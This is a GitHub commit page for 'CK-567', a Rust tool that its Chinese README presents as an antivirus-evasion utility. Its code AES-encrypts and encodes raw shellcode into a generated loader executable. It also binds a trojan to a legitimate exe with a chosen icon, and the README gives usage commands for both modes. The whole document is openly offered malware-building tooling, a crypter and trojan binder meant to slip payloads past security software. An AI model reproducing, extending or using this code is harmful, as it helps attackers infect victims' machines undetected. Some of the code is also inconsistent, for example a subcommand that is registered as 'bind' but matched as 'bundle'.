Skip to content

Commit 7027823

Browse files
committed
init
0 parents  commit 7027823

14 files changed

+633
-0
lines changed

Cargo.toml

+30
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
[package]
2+
name = "CK-567"
3+
version = "0.1.0"
4+
edition = "2021"
5+
6+
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
7+
8+
[build-dependencies]
9+
winres = "0.1"
10+
[dependencies]
11+
aes = "0.8"
12+
ctr = "0.9"
13+
cipher = {version = "0.4.3", features=["block-padding"]}
14+
clap = "4.3.0"
15+
hex = "0.4.2"
16+
rust-embed="6.4.0"
17+
libaes = "*"
18+
rand = "*"
19+
base64 = "0.21.2"
20+
21+
winapi = { version = "0.3.9",features = ["libloaderapi","minwinbase","rpc","winnls","heapapi","winuser", "winnt", "memoryapi","sysinfoapi"]}
22+
23+
24+
[profile.release]
25+
opt-level = "z" # 使用最高级别的优化
26+
lto = true # 启用链接时优化
27+
codegen-units = 1 # 设置为1以降低编译时间
28+
panic = 'abort' # 使用 "abort" 模式来处理 panic
29+
strip = "symbols" # 剥离所有符号,包括调试符号和未使用的符号
30+
overflow-checks = false # 禁用溢出检查

README.md

+76
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
<div align="center">
2+
<h1>CK-567</h1>
3+
<h2>CK-567 强大的Anti-Virus对抗工具</h2>
4+
</div>
5+
6+
### 由遮天 项目组指导
7+
shellcode 格式目前只支持 raw
8+
9+
### 使用
10+
```
11+
12+
▄████▄ ██ ▄█▀
13+
▒██▀ ▀█ ██▄█▒
14+
▒▓█ ▄ ▓███▄░
15+
▒▓▓▄ ▄██▒▓██ █▄
16+
▒ ▓███▀ ░▒██▒ █▄
17+
░ ░▒ ▒ ░▒ ▒▒ ▓▒
18+
░ ▒ ░ ░▒ ▒░
19+
░ ░ ░░ ░
20+
░ ░ ░ ░
21+
22+
23+
version:0.1
24+
```
25+
26+
**加载器:**
27+
```
28+
▄████▄ ██ ▄█▀
29+
▒██▀ ▀█ ██▄█▒
30+
▒▓█ ▄ ▓███▄░
31+
▒▓▓▄ ▄██▒▓██ █▄
32+
▒ ▓███▀ ░▒██▒ █▄
33+
░ ░▒ ▒ ░▒ ▒▒ ▓▒
34+
░ ▒ ░ ░▒ ▒░
35+
░ ░ ░░ ░
36+
░ ░ ░ ░
37+
38+
39+
version:0.1
40+
error: the following required arguments were not provided:
41+
-f <file>
42+
-n <name>
43+
44+
Usage: CK-567.exe shellcode -f <file> -n <name>
45+
46+
For more information, try '--help'.
47+
```
48+
```
49+
CK-567.exe shellcode -f=C:\Users\10431\Desktop\payload.bin -n=a1
50+
```
51+
52+
**捆绑木马:**
53+
```
54+
55+
▄████▄ ██ ▄█▀
56+
▒██▀ ▀█ ██▄█▒
57+
▒▓█ ▄ ▓███▄░
58+
▒▓▓▄ ▄██▒▓██ █▄
59+
▒ ▓███▀ ░▒██▒ █▄
60+
░ ░▒ ▒ ░▒ ▒▒ ▓▒
61+
░ ▒ ░ ░▒ ▒░
62+
░ ░ ░░ ░
63+
░ ░ ░ ░
64+
65+
66+
version:0.1
67+
error: the following required arguments were not provided:
68+
-f <file>
69+
-i <ico>
70+
-t <trojan>
71+
72+
Usage: CK-567.exe bind -f <file> -i <ico> -t <trojan>
73+
74+
For more information, try '--help'.
75+
76+
```

build.rs

+10
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
extern crate winres;
2+
3+
4+
fn main() {
5+
if cfg!(target_os = "windows") {
6+
let mut res = winres::WindowsResource::new();
7+
res.set_icon("ck.ico");
8+
res.compile().unwrap();
9+
}
10+
}

ck.ico

4.19 KB
Binary file not shown.

src/core/loader.rs

+138
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,138 @@
1+
use std::fs::{create_dir_all, read, remove_dir_all, write};
2+
use std::path::Path;
3+
use std::process::{Command, Stdio};
4+
use std::ptr::null;
5+
6+
use aes::Aes256;
7+
use rust_embed::RustEmbed;
8+
9+
use crate::utils;
10+
use crate::utils::aesEncrypt;
11+
12+
pub trait Loader {
13+
fn load(&self);
14+
}
15+
16+
17+
#[derive(RustEmbed)]
18+
#[folder = "temp"]
19+
struct temFile;
20+
21+
const key_placeholder: &str = "${key}";
22+
const iv_placeholder: &str = "${iv}";
23+
const base64Str_placeholder: &str = "${base64Str}";
24+
const package_placeholder: &str = "${packageName}";
25+
const hexCode_placeholder: &str = "${hexCode}";
26+
27+
impl Loader for ShellCodeHandler {
28+
fn load(&self) {
29+
println!("shellcode 处理中。。。");
30+
let shellcode = match read(&self.file_path) {
31+
Ok(res) => res,
32+
Err(err) => {
33+
println!("{}", err);
34+
std::process::exit(1);
35+
}
36+
};
37+
38+
let mainFile = temFile::get("shellcode/main.rs").unwrap();
39+
let cargoToml = temFile::get("shellcode/Cargo.toml").unwrap();
40+
let buildRs = temFile::get("shellcode/build.rs").unwrap();
41+
let mainFile_str = std::str::from_utf8(mainFile.data.as_ref()).unwrap();
42+
let cargoToml_str = std::str::from_utf8(cargoToml.data.as_ref()).unwrap();
43+
let buildRs_str = std::str::from_utf8(buildRs.data.as_ref()).unwrap();
44+
45+
let (key, iv, ciphertext) = aesEncrypt(shellcode);
46+
47+
let base64_str = base64::encode(&ciphertext);
48+
let mainFile_str = &mainFile_str.replace(&iv_placeholder, &iv);
49+
let mainFile_str = &mainFile_str.replace(&key_placeholder, &key);
50+
let mainFile_str = &mainFile_str.replace(&hexCode_placeholder, &hex::encode(&base64_str));
51+
let cargoToml_str = &cargoToml_str.replace(&package_placeholder, &self.package_name);
52+
53+
54+
if Some(&self.ico).is_some() & !&self.ico.is_empty() {
55+
println!("ico:{}", self.ico);
56+
let ico = read(&self.ico).unwrap();
57+
let _ = write(format!("loader/ck.ico"), ico);
58+
}
59+
60+
let _ = create_dir_all("loader/src");
61+
let _ = create_dir_all("loader/.cargo");
62+
let _ = write(format!("loader/src/main.rs"), mainFile_str);
63+
let _ = write(format!("loader/Cargo.toml"), cargoToml_str);
64+
let _ = write(format!("loader/build.rs"), buildRs_str);
65+
complie();
66+
}
67+
}
68+
69+
impl Loader for BindHandler {
70+
fn load(&self) {
71+
println!("捆绑文件中。。。");
72+
let path = Path::new(&self.file_path);
73+
let file_name = path.file_name().unwrap().to_str().unwrap();
74+
let file_stem_name = path.file_stem().unwrap().to_str().unwrap();
75+
76+
let mainFile = temFile::get("sleeve/main.rs").unwrap();
77+
let cargoToml = temFile::get("sleeve/Cargo.toml").unwrap();
78+
let buildRs = temFile::get("sleeve/build.rs").unwrap();
79+
let mainFile_str = std::str::from_utf8(mainFile.data.as_ref()).unwrap();
80+
let buildRs_str = std::str::from_utf8(buildRs.data.as_ref()).unwrap();
81+
let cargoToml_str = std::str::from_utf8(cargoToml.data.as_ref()).unwrap();
82+
83+
84+
let cargoToml_str = &cargoToml_str.replace(&package_placeholder, file_stem_name);
85+
86+
if Some(&self.ico).is_some() & !&self.ico.is_empty() {
87+
println!("ico:{}", self.ico);
88+
let ico = read(&self.ico).unwrap();
89+
let _ = write(format!("loader/ck.ico"), ico);
90+
}
91+
92+
let _ = create_dir_all("loader/src");
93+
let _ = create_dir_all("loader/tep");
94+
let _ = create_dir_all("loader/.cargo");
95+
let _ = write(format!("loader/src/main.rs"), mainFile_str);
96+
let _ = write(format!("loader/build.rs"), buildRs_str);
97+
let _ = write(format!("loader/Cargo.toml"), cargoToml_str);
98+
99+
println!("copying file....");
100+
101+
let file = read(self.file_path.clone()).expect(&format!("文件读取失败:{}", &self.file_path));
102+
103+
let _ = write(format!("loader/tep/{}", file_name), file);
104+
105+
//木马文件
106+
println!("{}", &self.trojan_file_path);
107+
let trojan_file = read(&self.trojan_file_path).expect(&format!("文件读取失败:{}", &self.trojan_file_path));
108+
let _ = write(format!("loader/tep/{}.exe", file_stem_name), trojan_file);
109+
110+
complie();
111+
}
112+
}
113+
114+
pub fn complie() {
115+
println!("开始编译...");
116+
let mut cmd = Command::new("cmd")
117+
.arg("/c")
118+
.arg("cd loader && cargo build -Z unstable-options --out-dir ../ --target x86_64-pc-windows-msvc --release")
119+
.spawn()
120+
.expect("编译失败!");
121+
122+
let status = cmd.wait();
123+
let _ = remove_dir_all("loader");
124+
}
125+
126+
127+
pub struct ShellCodeHandler {
128+
pub(crate) file_path: String,
129+
pub(crate) package_name: String,
130+
pub(crate) ico: String,
131+
}
132+
133+
pub struct BindHandler {
134+
pub(crate) file_path: String,
135+
pub(crate) trojan_file_path: String,
136+
pub(crate) ico: String,
137+
}
138+

src/core/mod.rs

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
pub mod loader;

src/main.rs

+101
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
use std::borrow::Borrow;
2+
use std::ptr::null;
3+
4+
use aes::{Aes128, Aes128Dec, Aes128Enc};
5+
use aes::cipher::{
6+
BlockCipher, BlockDecrypt, BlockEncrypt, generic_array::GenericArray,
7+
KeyInit,
8+
};
9+
use aes::cipher::{BlockDecryptMut, BlockEncryptMut};
10+
use aes::cipher::block_padding::Pkcs7;
11+
use clap::{Arg, Command};
12+
use hex;
13+
use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect};
14+
use winapi::um::sysinfoapi::GetTickCount;
15+
use winapi::um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE};
16+
use winapi::um::winuser::{GetCursorPos, GetLastInputInfo, LASTINPUTINFO, MOUSEMOVEPOINT};
17+
18+
use crate::core::loader::{BindHandler, Loader, ShellCodeHandler};
19+
20+
pub mod utils;
21+
pub mod core;
22+
23+
24+
fn main() {
25+
println!("
26+
▄████▄ ██ ▄█▀
27+
▒██▀ ▀█ ██▄█▒
28+
▒▓█ ▄ ▓███▄░
29+
▒▓▓▄ ▄██▒▓██ █▄
30+
▒ ▓███▀ ░▒██▒ █▄
31+
░ ░▒ ▒ ░▒ ▒▒ ▓▒
32+
░ ▒ ░ ░▒ ▒░
33+
░ ░ ░░ ░
34+
░ ░ ░ ░
35+
36+
");
37+
println!("version:0.1");
38+
39+
let matches = Command::new("ck567")
40+
.subcommands([
41+
Command::new("bind")
42+
.about("捆绑exe")
43+
.arg(
44+
Arg::new("file")
45+
.short('f')
46+
.help("exe 路径")
47+
.required(true)
48+
).arg(
49+
Arg::new("ico")
50+
.short('i')
51+
.help("ico")
52+
.required(true)
53+
).arg(Arg::new("trojan")
54+
.short('t')
55+
.required(true)
56+
.help("木马文件路径")),
57+
Command::new("shellcode")
58+
.about("捆绑exe")
59+
.arg(
60+
Arg::new("file")
61+
.short('f')
62+
.help("shellcode 路径")
63+
.required(true),
64+
)
65+
.arg(Arg::new("name").short('n').required(true).help("生成的exe 名称"))
66+
.arg(
67+
Arg::new("ico")
68+
.short('i')
69+
.help("exe ico")
70+
.required(false)
71+
)
72+
]
73+
)
74+
.get_matches();
75+
76+
if let Some(sub_m) = matches.subcommand_matches("shellcode") {
77+
let fp = sub_m.get_one::<String>("file").unwrap().clone();
78+
let name = sub_m.get_one::<String>("name").unwrap().clone();
79+
let ico;
80+
if let Some(value) = sub_m.get_one::<String>("ico") {
81+
ico = sub_m.get_one::<String>("ico").unwrap().clone();
82+
} else {
83+
ico = String::new();
84+
}
85+
86+
let shell_code_loader = ShellCodeHandler { file_path: fp, package_name: name, ico };
87+
shell_code_loader.load();
88+
} else if let Some(sub_m_1) = matches.subcommand_matches("bundle") {
89+
let fp = sub_m_1.get_one::<String>("file").unwrap().clone();
90+
let trojan = sub_m_1.get_one::<String>("trojan").unwrap().clone();
91+
let ico;
92+
if let Some(value) = sub_m_1.get_one::<String>("ico") {
93+
ico = sub_m_1.get_one::<String>("ico").unwrap().clone();
94+
} else {
95+
ico = String::new();
96+
}
97+
98+
let bind_handler = BindHandler { file_path: fp, trojan_file_path: trojan, ico };
99+
bind_handler.load();
100+
}
101+
}

0 commit comments

Comments
 (0)